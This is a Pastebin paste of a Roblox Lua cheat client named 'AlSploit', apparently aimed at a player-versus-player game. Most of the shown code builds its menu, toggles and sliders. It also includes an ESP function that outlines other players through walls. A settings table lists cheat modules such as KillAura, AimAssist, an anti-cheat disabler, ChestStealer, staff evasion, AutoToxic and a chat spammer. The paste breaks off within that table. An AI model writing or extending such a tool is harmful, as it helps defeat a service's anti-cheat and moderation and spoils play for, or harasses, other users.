Advertisement
Qpwisnd

Untitled

Mar 20th, 2024
20
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 154.04 KB | None | 0 0
  1. local WhitelistedUsers = {User1 = "imagod_033", User2 = "OP1x1x1"}
  2. local Owner = "mittenfake12345"
  3.  
  4. local LocalPlayer = game.Players.LocalPlayer
  5.  
  6. local RbxAnalyticsService = game:GetService("RbxAnalyticsService")
  7. local CollectionService = game:GetService("CollectionService")
  8. local ReplicatedStorage = game:GetService("ReplicatedStorage")
  9. local UserInputService = game:GetService("UserInputService")
  10. local LightingService = game:GetService("Lighting")
  11. local PlayerService = game:GetService("Players")
  12. local TweenService = game:GetService("TweenService")
  13. local StatsService = game:GetService("Stats")
  14. local HttpService = game:GetService("HttpService")
  15. local RunService = game:GetService("RunService")
  16. local WorkSpace = game:GetService("Workspace") or game.Workspace or workspace
  17. local CoreGui = game:GetService("CoreGui")
  18.  
  19. local AlSploit = Instance.new("ScreenGui")
  20. local ContainerFrame = Instance.new("Frame")
  21. local ContainerFrameUIListLayout = Instance.new("UIListLayout")
  22. local NotificationContainer = Instance.new("Frame")
  23. local NotificationContainerUIListLayout = Instance.new("UIListLayout")
  24.  
  25. local DefaultLayoutOrder = 0
  26.  
  27. AlSploit.Name = "AlSploit"
  28. AlSploit.Parent = LocalPlayer:WaitForChild("PlayerGui")
  29. AlSploit.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
  30. AlSploit.ResetOnSpawn = false
  31.  
  32. ContainerFrame.Name = "ContainerFrame"
  33. ContainerFrame.Parent = AlSploit
  34. ContainerFrame.BackgroundColor3 = Color3.new(255, 255, 255)
  35. ContainerFrame.BackgroundTransparency = 1.000
  36. ContainerFrame.BorderColor3 = Color3.new(0, 0, 0)
  37. ContainerFrame.BorderSizePixel = 0
  38. ContainerFrame.Position = UDim2.new(0, 0, 0, 0)
  39. ContainerFrame.Size = UDim2.new(1, 0, 1, 0)
  40. ContainerFrame.Visible = false
  41.  
  42. ContainerFrameUIListLayout.Parent = ContainerFrame
  43. ContainerFrameUIListLayout.SortOrder = Enum.SortOrder.LayoutOrder
  44. ContainerFrameUIListLayout.Padding = UDim.new(0, 50)
  45. ContainerFrameUIListLayout.FillDirection = Enum.FillDirection.Horizontal
  46. ContainerFrameUIListLayout.HorizontalAlignment = Enum.HorizontalAlignment.Center
  47.  
  48. NotificationContainer.Name = "NotificationContainer"
  49. NotificationContainer.Parent = AlSploit
  50. NotificationContainer.BackgroundColor3 = Color3.new(255, 255, 255)
  51. NotificationContainer.BackgroundTransparency = 1.000
  52. NotificationContainer.BorderColor3 = Color3.new(0, 0, 0)
  53. NotificationContainer.BorderSizePixel = 0
  54. NotificationContainer.Position = UDim2.new(0.8, 0, 0, 0)
  55. NotificationContainer.Size = UDim2.new(0.2, 0, 0.980487823, 0)
  56.  
  57. NotificationContainerUIListLayout.Parent = NotificationContainer
  58. NotificationContainerUIListLayout.HorizontalAlignment = Enum.HorizontalAlignment.Center
  59. NotificationContainerUIListLayout.SortOrder = Enum.SortOrder.LayoutOrder
  60. NotificationContainerUIListLayout.VerticalAlignment = Enum.VerticalAlignment.Bottom
  61. NotificationContainerUIListLayout.Padding = UDim.new(0, 10)
  62.  
  63. local UIAspectRatioConstraintOpen = Instance.new("UIAspectRatioConstraint")
  64. local UIStroke = Instance.new("UIStroke")
  65. local UICorner = Instance.new("UICorner")
  66. local Open = Instance.new("ImageButton")
  67.  
  68. UIStroke.Parent = Open
  69. UIStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border
  70. UIStroke.Thickness = 2
  71. UIStroke.Color = Color3.new(0.635294, 0.313725, 1)
  72.  
  73. Open.Name = "Open"
  74. Open.Parent = AlSploit
  75. Open.BackgroundColor3 = Color3.new(255, 255, 255)
  76. Open.BorderColor3 = Color3.new(0, 0, 0)
  77. Open.BorderSizePixel = 0
  78. Open.Position = UDim2.new(0.963096738, 0, 0.351765305, 0)
  79. Open.Size = UDim2.new(0.0329854637, 0, 0.0837961882, 0)
  80. Open.Image = "rbxassetid://15428841655"
  81.  
  82. UICorner.CornerRadius = UDim.new(0, 6)
  83. UICorner.Parent = Open
  84.  
  85. UIAspectRatioConstraintOpen.Parent = Open
  86. UIAspectRatioConstraintOpen.AspectRatio = 1
  87.  
  88. local Blur = Instance.new("BlurEffect")
  89.  
  90. Blur.Parent = LightingService
  91. Blur.Enabled = false
  92. Blur.Size = 16
  93.  
  94. task.spawn(function()
  95. Open.Activated:Connect(function()
  96. ContainerFrame.Visible = not ContainerFrame.Visible
  97. Blur.Enabled = not Blur.Enabled
  98. end)
  99. end)
  100.  
  101. local function CreateTab(Name)
  102. local Tab = Instance.new("Frame")
  103. local UICorner = Instance.new("UICorner")
  104. local CornerFix = Instance.new("Frame")
  105. local ModulesContainer = Instance.new("Frame")
  106. local UIListLayout = Instance.new("UIListLayout")
  107. local Title = Instance.new("TextLabel")
  108. local UIGradient = Instance.new("UIGradient")
  109.  
  110. Tab.Name = "Tab"
  111. Tab.Parent = ContainerFrame
  112. Tab.BackgroundColor3 = Color3.new(0, 0, 0)
  113. Tab.BorderColor3 = Color3.new(0, 0, 0)
  114. Tab.BorderSizePixel = 0
  115. Tab.Position = UDim2.new(0.434123844, 0, 0, 0)
  116. Tab.Size = UDim2.new(0.142, 0, 0.049, 0)
  117.  
  118. UICorner.CornerRadius = UDim.new(0, 12)
  119. UICorner.Parent = Tab
  120.  
  121. CornerFix.Name = "CornerFix"
  122. CornerFix.Parent = Tab
  123. CornerFix.BackgroundColor3 = Color3.new(0, 0, 0)
  124. CornerFix.BorderColor3 = Color3.new(0, 0, 0)
  125. CornerFix.BorderSizePixel = 0
  126. CornerFix.Position = UDim2.new(0, 0, 0.371, 0)
  127. CornerFix.Size = UDim2.new(1, 0, 0.629, 0)
  128.  
  129. ModulesContainer.Name = "ModulesContainer"
  130. ModulesContainer.Parent = Tab
  131. ModulesContainer.BackgroundColor3 = Color3.new(255, 255, 255)
  132. ModulesContainer.BackgroundTransparency = 1.000
  133. ModulesContainer.BorderColor3 = Color3.new(0, 0, 0)
  134. ModulesContainer.BorderSizePixel = 0
  135. ModulesContainer.Position = UDim2.new(0, 0, 1, 0)
  136. ModulesContainer.Size = UDim2.new(1, 0, 21.4285717, 0)
  137.  
  138. UIListLayout.Parent = ModulesContainer
  139. UIListLayout.HorizontalAlignment = Enum.HorizontalAlignment.Center
  140. UIListLayout.FillDirection = Enum.FillDirection.Vertical
  141. UIListLayout.SortOrder = Enum.SortOrder.LayoutOrder
  142.  
  143. Title.Name = "Title"
  144. Title.Parent = Tab
  145. Title.BackgroundColor3 = Color3.new(255, 255, 255)
  146. Title.BackgroundTransparency = 1.000
  147. Title.BorderColor3 = Color3.new(0, 0, 0)
  148. Title.BorderSizePixel = 0
  149. Title.Position = UDim2.new(0, 0, 0.123508625, 0)
  150. Title.Size = UDim2.new(0.99999994, 0, 0.742857158, 0)
  151. Title.Font = Enum.Font.GothamBold
  152. Title.Text = Name
  153. Title.TextColor3 = Color3.new(255, 255, 255)
  154. Title.TextSize = 17
  155. Title.TextWrapped = true
  156.  
  157. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.843137, 0.686275, 1))}
  158. UIGradient.Rotation = 90
  159. UIGradient.Parent = Title
  160.  
  161. return ModulesContainer
  162. end
  163.  
  164. local function CreateToggle(Parent, Name, DefaultValue, CallBack)
  165. local Toggle = Instance.new("TextButton")
  166. local UIPadding = Instance.new("UIPadding")
  167. local UIGradient = Instance.new("UIGradient")
  168. local DropDownButton = Instance.new("ImageButton")
  169.  
  170. local CallBackValue = DefaultValue
  171.  
  172. local LayoutOrder = 0
  173.  
  174. local function CallBackToggle(Value)
  175. task.spawn(function()
  176. if Value == true then
  177. CallBackValue = true
  178. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  179.  
  180. CallBack(true)
  181. end
  182. end)
  183.  
  184. task.spawn(function()
  185. if Value == false then
  186. CallBackValue = false
  187. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  188.  
  189. CallBack(false)
  190. end
  191. end)
  192. end
  193.  
  194. Toggle.Name = "Toggle"
  195. Toggle.Parent = Parent
  196. Toggle.BackgroundColor3 = Color3.new(0, 0, 0)
  197. Toggle.BackgroundTransparency = 0.150
  198. Toggle.BorderColor3 = Color3.new(0, 0, 0)
  199. Toggle.BorderSizePixel = 0
  200. Toggle.Size = UDim2.new(1, 0, 0.0469164699, 0)
  201. Toggle.AutoButtonColor = false
  202. Toggle.Font = Enum.Font.GothamBold
  203. Toggle.Text = Name
  204. Toggle.TextColor3 = Color3.new(255, 255, 255)
  205. Toggle.TextSize = 12.000
  206. Toggle.TextXAlignment = Enum.TextXAlignment.Left
  207. Toggle.LayoutOrder = DefaultLayoutOrder + 10
  208.  
  209. LayoutOrder = Toggle.LayoutOrder
  210. DefaultLayoutOrder = LayoutOrder
  211.  
  212. UIPadding.Parent = Toggle
  213. UIPadding.PaddingLeft = UDim.new(0, 15)
  214.  
  215. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  216. UIGradient.Rotation = 90
  217. UIGradient.Parent = Toggle
  218.  
  219. DropDownButton.Name = "DropDownButton"
  220. DropDownButton.Parent = Toggle
  221. DropDownButton.BackgroundColor3 = Color3.new(255, 255, 255)
  222. DropDownButton.BackgroundTransparency = 1.000
  223. DropDownButton.BorderColor3 = Color3.new(0, 0, 0)
  224. DropDownButton.BorderSizePixel = 0
  225. DropDownButton.Position = UDim2.new(0.835, 0, 0.163, 0)
  226. DropDownButton.Rotation = 90.000
  227. DropDownButton.Size = UDim2.new(0.132, 0, 0.668, 0)
  228. DropDownButton.Image = "http://www.roblox.com/asset/?id=12809025337"
  229.  
  230. CallBackToggle(CallBackValue)
  231.  
  232. task.spawn(function()
  233. Toggle.Activated:Connect(function()
  234. CallBackToggle(not CallBackValue)
  235. end)
  236. end)
  237.  
  238. return Toggle, DropDownButton, LayoutOrder, UIGradient
  239. end
  240.  
  241. local function CreateKeyBind(Parent, DefaultValue, LayoutOrder, CallBack)
  242. local KeyBind = Instance.new("TextButton")
  243. local UIGradient = Instance.new("UIGradient")
  244.  
  245. local function CallBackToggle(Value)
  246. CallBack(Value)
  247. end
  248.  
  249. KeyBind.Name = "KeyBind"
  250. KeyBind.Parent = Parent
  251. KeyBind.BackgroundColor3 = Color3.new(0, 0, 0)
  252. KeyBind.BackgroundTransparency = 0.150
  253. KeyBind.BorderColor3 = Color3.new(0, 0, 0)
  254. KeyBind.BorderSizePixel = 0
  255. KeyBind.Position = UDim2.new(0, 0, 0.0765417367, 0)
  256. KeyBind.Size = UDim2.new(0.99999994, 0, 0.0353890099, 0)
  257. KeyBind.AutoButtonColor = false
  258. KeyBind.Font = Enum.Font.GothamBold
  259. KeyBind.Text = "KeyBind: " .. DefaultValue
  260. KeyBind.TextColor3 = Color3.new(255, 255, 255)
  261. KeyBind.TextSize = 11.000
  262. KeyBind.LayoutOrder = LayoutOrder
  263.  
  264. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  265. UIGradient.Rotation = 90
  266. UIGradient.Parent = KeyBind
  267.  
  268. task.spawn(function()
  269. local InputValue = false
  270. local Value = false
  271.  
  272. KeyBind.Activated:Connect(function()
  273. if Value == false then
  274. InputValue = true
  275. KeyBind.Text = "..."
  276. end
  277.  
  278. if Value == true and InputValue == true then
  279. KeyBind.Text = "KeyBind: " .. "..."
  280. InputValue = false
  281. CallBackToggle("...")
  282. end
  283.  
  284. Value = not Value
  285. end)
  286.  
  287. task.spawn(function()
  288. UserInputService.InputBegan:Connect(function(Input)
  289. if InputValue == true and not UserInputService:GetFocusedTextBox() then
  290. if Input.KeyCode and Input.UserInputType == Enum.UserInputType.Keyboard then
  291. KeyBind.Text = "KeyBind: " .. Input.KeyCode.Name
  292.  
  293. CallBackToggle(Input.KeyCode.Name)
  294. InputValue = false
  295. end
  296. end
  297. end)
  298. end)
  299. end)
  300.  
  301. return KeyBind
  302. end
  303.  
  304. local function CreateMiniToggle(Parent, Name, DefaultValue, LayoutOrder, CallBack)
  305. local MiniToggle = Instance.new("TextButton")
  306. local UIGradient = Instance.new("UIGradient")
  307.  
  308. local CallBackValue = DefaultValue
  309.  
  310.  
  311. local function CallBackToggle(Value)
  312. task.spawn(function()
  313. if Value == true then
  314. CallBackValue = true
  315. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  316.  
  317. CallBack(true)
  318. end
  319. end)
  320.  
  321. task.spawn(function()
  322. if Value == false then
  323. CallBackValue = false
  324. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  325.  
  326. CallBack(false)
  327. end
  328. end)
  329. end
  330.  
  331. MiniToggle.Name = "MiniToggle"
  332. MiniToggle.Parent = Parent
  333. MiniToggle.BackgroundColor3 = Color3.new(0, 0, 0)
  334. MiniToggle.BackgroundTransparency = 0.150
  335. MiniToggle.BorderColor3 = Color3.new(0, 0, 0)
  336. MiniToggle.BorderSizePixel = 0
  337. MiniToggle.Position = UDim2.new(0, 0, 0.0765417367, 0)
  338. MiniToggle.Size = UDim2.new(0.99999994, 0, 0.0353890099, 0)
  339. MiniToggle.AutoButtonColor = false
  340. MiniToggle.Font = Enum.Font.GothamBold
  341. MiniToggle.Text = Name
  342. MiniToggle.TextColor3 = Color3.new(255, 255, 255)
  343. MiniToggle.TextSize = 11.000
  344. MiniToggle.LayoutOrder = LayoutOrder
  345.  
  346. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  347. UIGradient.Rotation = 90
  348. UIGradient.Parent = MiniToggle
  349.  
  350. CallBackToggle(CallBackValue)
  351.  
  352. task.spawn(function()
  353. MiniToggle.Activated:Connect(function()
  354. CallBackToggle(not CallBackValue)
  355. end)
  356. end)
  357.  
  358. return MiniToggle
  359. end
  360.  
  361. local function CreateSlider(Parent, Name, DefaultValue, MaximumValue, LayoutOrder, CallBack)
  362. local Slider = Instance.new("Frame")
  363. local SliderFrame = Instance.new("Frame")
  364. local UICorner = Instance.new("UICorner")
  365. local Bar = Instance.new("TextButton")
  366. local UICorner_2 = Instance.new("UICorner")
  367. local UIGradient = Instance.new("UIGradient")
  368. local UIStroke = Instance.new("UIStroke")
  369.  
  370. local Title = Instance.new("TextLabel")
  371. local UIGradient_2 = Instance.new("UIGradient")
  372. local Fill = Instance.new("Frame")
  373. local UICorner_3 = Instance.new("UICorner")
  374. local UIGradient_3 = Instance.new("UIGradient")
  375.  
  376. Slider.Name = "Slider"
  377. Slider.Parent = Parent
  378. Slider.BackgroundColor3 = Color3.new(0, 0, 0)
  379. Slider.BackgroundTransparency = 0.150
  380. Slider.BorderColor3 = Color3.new(0, 0, 0)
  381. Slider.BorderSizePixel = 0
  382. Slider.Position = UDim2.new(0, 0, 0.116778016, 0)
  383. Slider.Size = UDim2.new(0.99999994, 0, 0.0687298849, 0)
  384. Slider.LayoutOrder = LayoutOrder
  385.  
  386. SliderFrame.Name = "SliderFrame"
  387. SliderFrame.Parent = Slider
  388. SliderFrame.BackgroundColor3 = Color3.new(255, 255, 255)
  389. SliderFrame.BackgroundTransparency = 1.000
  390. SliderFrame.BorderColor3 = Color3.new(0, 0, 0)
  391. SliderFrame.BorderSizePixel = 0
  392. SliderFrame.Position = UDim2.new(0.150000006, 0, 0.581818163, 0)
  393. SliderFrame.Size = UDim2.new(0.699999988, 0, 0.145454541, 0)
  394.  
  395. UICorner.CornerRadius = UDim.new(0, 12)
  396. UICorner.Parent = SliderFrame
  397.  
  398. Bar.Name = "Bar"
  399. Bar.Parent = SliderFrame
  400. Bar.BackgroundColor3 = Color3.new(255, 255, 255)
  401. Bar.BorderColor3 = Color3.new(0, 0, 0)
  402. Bar.BorderSizePixel = 0
  403. Bar.Position = UDim2.new(0.142857149, 0, -1.36341882, 0)
  404. Bar.Size = UDim2.new(0.0571428575, 0, 3.5, 0)
  405. Bar.ZIndex = 2
  406. Bar.AutoButtonColor = false
  407. Bar.Font = Enum.Font.SourceSans
  408. Bar.Text = ""
  409. Bar.TextColor3 = Color3.new(0, 0, 0)
  410. Bar.TextSize = 14.000
  411.  
  412. UICorner_2.CornerRadius = UDim.new(0, 12)
  413. UICorner_2.Parent = Bar
  414.  
  415. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  416. UIGradient.Parent = Bar
  417.  
  418. UIStroke.Parent = Bar
  419. UIStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border
  420. UIStroke.Thickness = 2
  421. UIStroke.Color = Color3.new(0, 0, 0)
  422.  
  423. Title.Name = "Title"
  424. Title.Parent = SliderFrame
  425. Title.BackgroundColor3 = Color3.new(255, 255, 255)
  426. Title.BackgroundTransparency = 1.000
  427. Title.BorderColor3 = Color3.new(0, 0, 0)
  428. Title.BorderSizePixel = 0
  429. Title.Position = UDim2.new(0.321428567, 0, -3.7615819, 0)
  430. Title.Size = UDim2.new(0.357142866, 0, 2.5, 0)
  431. Title.Font = Enum.Font.GothamBold
  432. Title.Text = Name .. ": " .. DefaultValue
  433. Title.TextColor3 = Color3.new(255, 255, 255)
  434. Title.TextSize = 11.00
  435.  
  436. UIGradient_2.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  437. UIGradient_2.Rotation = 90
  438. UIGradient_2.Parent = Title
  439.  
  440. Fill.Name = "Fill"
  441. Fill.Parent = SliderFrame
  442. Fill.BackgroundColor3 = Color3.new(255, 255, 255)
  443. Fill.BorderColor3 = Color3.new(0, 0, 0)
  444. Fill.BorderSizePixel = 0
  445. Fill.Size = UDim2.new(1, 0, 1, 0)
  446.  
  447. UICorner_3.CornerRadius = UDim.new(0, 12)
  448. UICorner_3.Parent = Fill
  449.  
  450. UIGradient_3.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  451. UIGradient_3.Parent = Fill
  452.  
  453. local Debounce = true
  454.  
  455. local function Snap(Number, Factor)
  456. if Factor == 0 then
  457. return Number
  458. else
  459. return math.floor(Number / Factor + 0.5) * Factor
  460. end
  461. end
  462.  
  463. task.spawn(function()
  464. Bar.MouseButton1Down:Connect(function()
  465. Debounce = false
  466. end)
  467.  
  468. UserInputService.InputEnded:connect(function(Input)
  469. if Input.UserInputType == Enum.UserInputType.MouseButton1 then
  470. Debounce = true
  471. end
  472. end)
  473. end)
  474.  
  475. task.spawn(function()
  476. local BarPosition = Bar.Position
  477.  
  478. local TweenInformation = TweenInfo.new(0.1, Enum.EasingStyle.Linear, Enum.EasingDirection.In, 0, false, 0)
  479. local PositionTween = TweenService:Create(Bar, TweenInformation, {Position = UDim2.new(DefaultValue / MaximumValue - 0.05, 0, BarPosition.Y.Scale, BarPosition.Y.Offset)})
  480.  
  481. PositionTween:Play()
  482.  
  483. local TweenInformation = TweenInfo.new(0.1, Enum.EasingStyle.Linear, Enum.EasingDirection.In, 0, false, 0)
  484. local SizeTween = TweenService:Create(Fill, TweenInformation, {Size = UDim2.new(DefaultValue / MaximumValue, 0, 1, 0)})
  485.  
  486. SizeTween:Play()
  487. end)
  488.  
  489. task.spawn(function()
  490. repeat
  491. task.wait()
  492.  
  493. if Debounce == false then
  494. local MousePosition = UserInputService:GetMouseLocation().X
  495. local BarPosition = Bar.Position
  496. local FrameSize = Slider.AbsoluteSize.X
  497. local FramePosition = Slider.AbsolutePosition.X
  498.  
  499. local Position = Snap((MousePosition - FramePosition) / FrameSize, 0.01)
  500.  
  501. local Percentage = math.clamp(Position, 0, 1)
  502.  
  503. local TweenInformation = TweenInfo.new(0.1, Enum.EasingStyle.Linear, Enum.EasingDirection.In, 0, false, 0)
  504. local PositionTween = TweenService:Create(Bar, TweenInformation, {Position = UDim2.new(Percentage, 0, BarPosition.Y.Scale, BarPosition.Y.Offset)})
  505.  
  506. PositionTween:Play()
  507.  
  508. local TweenInformation = TweenInfo.new(0.1, Enum.EasingStyle.Linear, Enum.EasingDirection.In, 0, false, 0)
  509. local SizeTween = TweenService:Create(Fill, TweenInformation, {Size = UDim2.new(Percentage, 0, 1, 0)})
  510.  
  511. SizeTween:Play()
  512.  
  513. Title.Text = Name .. ": " .. math.round(Percentage * MaximumValue)
  514.  
  515. CallBack(math.round(Percentage * MaximumValue))
  516. end
  517. until not Slider
  518. end)
  519.  
  520. return Slider
  521. end
  522.  
  523. local function CreateNotification(Duration, Message)
  524. local Notification = Instance.new("Frame")
  525. local UIStroke = Instance.new("UIStroke")
  526. local UIGradient = Instance.new("UIGradient")
  527. local UICorner = Instance.new("UICorner")
  528. local Text = Instance.new("TextLabel")
  529.  
  530. Notification.Name = "Notification"
  531. Notification.Parent = NotificationContainer
  532. Notification.BackgroundColor3 = Color3.new(0, 0, 0)
  533. Notification.BackgroundTransparency = 0.150
  534. Notification.BorderColor3 = Color3.new(0, 0, 0)
  535. Notification.BorderSizePixel = 0
  536. Notification.Position = UDim2.new(0.226286799, 0, 0, 0)
  537. Notification.Size = UDim2.new(0, 0, 0, 0)
  538.  
  539. UIStroke.Parent = Notification
  540. UIStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border
  541. UIStroke.Thickness = 2
  542. UIStroke.Color = Color3.new(1, 1, 1)
  543.  
  544. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  545. UIGradient.Parent = UIStroke
  546.  
  547. UICorner.Parent = Notification
  548. UICorner.CornerRadius = UDim.new(0, 6)
  549.  
  550. Text.Name = "Text"
  551. Text.Parent = Notification
  552. Text.BackgroundColor3 = Color3.new(255, 255, 255)
  553. Text.BackgroundTransparency = 1.000
  554. Text.BorderColor3 = Color3.new(0, 0, 0)
  555. Text.BorderSizePixel = 0
  556. Text.Position = UDim2.new(-0.00263573672, 0, 0, 0)
  557. Text.Size = UDim2.new(1, 0, 1, 0)
  558. Text.Font = Enum.Font.GothamBold
  559. Text.Text = Message
  560. Text.TextColor3 = Color3.new(255, 255, 255)
  561. Text.TextSize = 10.00
  562.  
  563. task.spawn(function()
  564. local NotificationSize = UDim2.new(1, 0, 0.087, 0)
  565.  
  566. local TweenInformation = TweenInfo.new(0.15, Enum.EasingStyle.Linear, Enum.EasingDirection.Out, 0, false, 0)
  567. local SizeTween = TweenService:Create(Notification, TweenInformation, {Size = NotificationSize})
  568.  
  569. SizeTween:Play()
  570.  
  571. task.wait(Duration)
  572.  
  573. NotificationSize = UDim2.new(0, 0, 0, 0)
  574.  
  575. local SizeTween2 = TweenService:Create(Notification, TweenInformation, {Size = NotificationSize})
  576.  
  577. SizeTween2:Play()
  578.  
  579. task.spawn(function()
  580. task.wait(TweenInformation.Time)
  581.  
  582. Notification:Destroy()
  583. end)
  584. end)
  585. end
  586.  
  587. local function CreateFlyHud()
  588. local Background = Instance.new("Frame")
  589. local UIStroke = Instance.new("UIStroke")
  590. local UICorner = Instance.new("UICorner")
  591. local Text = Instance.new("TextLabel")
  592. local UITextSizeConstraint = Instance.new("UITextSizeConstraint")
  593. local DisplayBackground = Instance.new("Frame")
  594. local UICorner_2 = Instance.new("UICorner")
  595. local Display = Instance.new("Frame")
  596. local UICorner_3 = Instance.new("UICorner")
  597.  
  598. Background.Name = "Background"
  599. Background.Parent = AlSploit
  600. Background.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  601. Background.BackgroundTransparency = 0.250
  602. Background.BorderColor3 = Color3.fromRGB(0, 0, 0)
  603. Background.BorderSizePixel = 0
  604. Background.Position = UDim2.new(0.41, 0, 0.7, 0)
  605. Background.Size = UDim2.new(0.178, 0, 0.085, 0)
  606.  
  607. UIStroke.Parent = Background
  608. UIStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border
  609. UIStroke.Thickness = 2
  610.  
  611.  
  612. task.spawn(function()
  613. repeat
  614. task.wait(0.001)
  615.  
  616. UIStroke.Color = Color3.fromHSV(tick() % 5 / 5, 1, 1)
  617. until not game
  618. end)
  619.  
  620. UICorner.Parent = Background
  621.  
  622. Text.Name = "Text"
  623. Text.Parent = Background
  624. Text.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  625. Text.BackgroundTransparency = 1.000
  626. Text.BorderColor3 = Color3.fromRGB(0, 0, 0)
  627. Text.BorderSizePixel = 0
  628. Text.Position = UDim2.new(-0.00332811219, 0, 0.510591209, 0)
  629. Text.Size = UDim2.new(0.999999762, 0, 0.489407092, 0)
  630. Text.Font = Enum.Font.GothamBold
  631. Text.Text = "1"
  632. Text.TextColor3 = Color3.fromRGB(175, 105, 255)
  633. Text.TextScaled = true
  634. Text.TextSize = 20.000
  635. Text.TextWrapped = true
  636.  
  637. UITextSizeConstraint.Parent = Text
  638. UITextSizeConstraint.MaxTextSize = 20
  639.  
  640. DisplayBackground.Name = "DisplayBackground"
  641. DisplayBackground.Parent = Background
  642. DisplayBackground.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  643. DisplayBackground.BorderColor3 = Color3.fromRGB(0, 0, 0)
  644. DisplayBackground.BorderSizePixel = 0
  645. DisplayBackground.Position = UDim2.new(0.228761196, 0, 0.266666889, 0)
  646. DisplayBackground.Size = UDim2.new(0.544929683, 0, 0.149570271, 0)
  647.  
  648. UICorner_2.CornerRadius = UDim.new(0, 6)
  649. UICorner_2.Parent = DisplayBackground
  650.  
  651. Display.Name = "Display"
  652. Display.Parent = DisplayBackground
  653. Display.BackgroundColor3 = Color3.fromRGB(175, 105, 255)
  654. Display.BorderColor3 = Color3.fromRGB(0, 0, 0)
  655. Display.BorderSizePixel = 0
  656. Display.Position = UDim2.new(0, 0, 0, 0)
  657. Display.Size = UDim2.new(0, 0, 1, 0)
  658. Display.ZIndex = 2
  659.  
  660. UICorner_3.CornerRadius = UDim.new(0, 6)
  661. UICorner_3.Parent = Display
  662.  
  663. return Background, Text, Display
  664. end
  665.  
  666. function CreateOutline(Player)
  667. if IsAlive(Player) then
  668. local BillBoard = Instance.new("BillboardGui")
  669.  
  670. BillBoard.Size = UDim2.new(4, 0, 4, 0)
  671. BillBoard.AlwaysOnTop = true
  672. BillBoard.Name = "Esp"
  673.  
  674. local Frame = Instance.new("Frame")
  675.  
  676. Frame.Size = UDim2.new(1, 0, 1.5, 0)
  677. Frame.Position = UDim2.new(0, 0, -Player.Character.LowerTorso.Size.Y / 2 or -Player.PrimaryPart.Size.Y / 2, 0)
  678. Frame.BackgroundTransparency = 1
  679.  
  680. local Stroke = Instance.new("UIStroke")
  681.  
  682. Stroke.Thickness = 1.5
  683. Stroke.Color = Color3.new(0.635294, 0.313725, 1)
  684. Stroke.Transparency = 0
  685.  
  686. local UICorner = Instance.new("UICorner")
  687.  
  688. UICorner.Parent = Frame
  689. UICorner.CornerRadius = UDim.new(0, 3)
  690.  
  691. Stroke.Parent = Frame
  692. Frame.Parent = BillBoard
  693. BillBoard.Parent = Player.Character.PrimaryPart
  694. end
  695. end
  696.  
  697. local Settings = {}
  698. local Loaded = false
  699.  
  700. local SaveFileName = "SavingSystemAlSploit"
  701.  
  702. local function CreateSettingsFile()
  703. Settings = {
  704. NoPlacementCps = {Value = true, KeyBind = "..."},
  705. ChestStealer = {Value = true, Range = 30, KeyBind = "..."},
  706. InfiniteJump = {Value = true, KeyBind = "..."},
  707. AutoClicker = {Value = true, Cps = 30, KeyBind = "..."},
  708. NoKnockBack = {Value = true, KeyBind = "..."},
  709. InfiniteFly = {Value = false, KeyBind = "..."},
  710. DamageBoost = {Value = true, KeyBind = "..."},
  711. ChatSpammer = {Value = false, Speed = 50, KeyBind = "..."},
  712. AcDisabler = {Value = true, KeyBind = "..."},
  713. FpsBooster = {Value = false, KeyBind = "..."},
  714. Indicators = {Value = true, KeyBind = "..."},
  715. AutoReport = {Value = true, KeyBind = "..."},
  716. AntiStaff = {Value = true, Kick = false, KeyBind = "..."},
  717. AutoToxic = {Value = false, KeyBind = "..."},
  718. GalaxySky = {Value = true, KeyBind = "..."},
  719. PlayAgain = {Value = true, KeyBind = "..."},
  720. Invisible = {Value = false, KeyBind = "..."},
  721. AimAssist = {Value = true, Range = 18, KeyBind = "..."},
  722. Scaffold = {Value = false, ExpandDistance = 2, KeyBind = "..."},
  723. KillAura = {Value = true, Range = 20, CustomAnimation = true, ToolCheck = false, Strafe = false, KeyBind = "..."},
  724. AntiVoid = {Value = true, Transparency = 0.65, KeyBind = "..."},
